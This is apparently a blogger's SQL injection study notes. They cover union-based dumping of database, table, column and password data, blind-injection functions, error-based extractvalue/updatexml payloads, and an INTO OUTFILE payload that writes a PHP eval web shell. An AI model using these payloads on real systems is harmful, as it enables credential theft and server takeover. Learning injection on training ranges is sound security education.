sql注入学习笔记

基本手注

  • 判断是否有注入如点
  1. and 1=1
  2. and 1=2// 判断是否有注入点
    判断返回字段数目
    1.order by 1
    2.order by 2
    。。。。。
  • 查看当前数据库名,查看版本号
    1.union select 1,database(),version(),4
    例如:
    http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

  • 爆数据库名

  1. union select 1,SCHEMA_NAME,3,4 from inforrmation_schema.SCHEMATA limit 0,1
    注:在MySQL数据库中information_schema库中,表SCHEMATA 中在SCHEMA_NAME字段中包含所有数据库名;
    limit 0,1意思是从第0行起,取1行数据
  • 爆表名
    1.union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA = ‘数据库名’
    数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1

注明:information_schema.TABLES 存放着表名

  • 爆破字段名称
    字段名在information_schema库COLUMNS表中,
    表的格式:

    常用的表的字段:
    TABLE_SCHEMA //表所属库
    TABLE_NAME //表名
    COLUMN_NAME //字段名
    COLUMN_TYPE //字段类型

例如:
http://219.153.49.228:48509/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1

  • 爆破字段内容
    查看当前表中有几条数据;
    count()
    例如:http://219.153.49.228:48509/new_list.php?id=1%20and%201=2%20union%20select%201,count(
    ),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member
    将数据拼接成字符串
    concat()
    例如:union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

盲注

sqli-labs 第五关为例

所用函数介绍
  • left(a,b) 表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
  • right(a,b) 表示的是从字符表达式最右边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
  • **substr()**函数 substr(字符串,截取开始位置,截取长度) //返回截取的字
  • **length()**函数 获取当前字符串的长度

基于报错的注入

所用函数
  • extractvalue()
    extractvalue():从目标XML中返回包含所查询值的字符串。
    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)
    concat:返回结果为连接参数产生的字符串。
    payloaod: and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

  • updatexml()
    payload: select updatexml(1,concat(0x7e,(select user()),0x7e),1)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200219144858843.gif

写文件注入(需要写文件权限)

payload(所用函数outfile)

  • id=-1’)) union select 1,2,’<?php @eval($_POST["cmd"]); ?>'into outfile"/var/www/html/22.php";%23
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值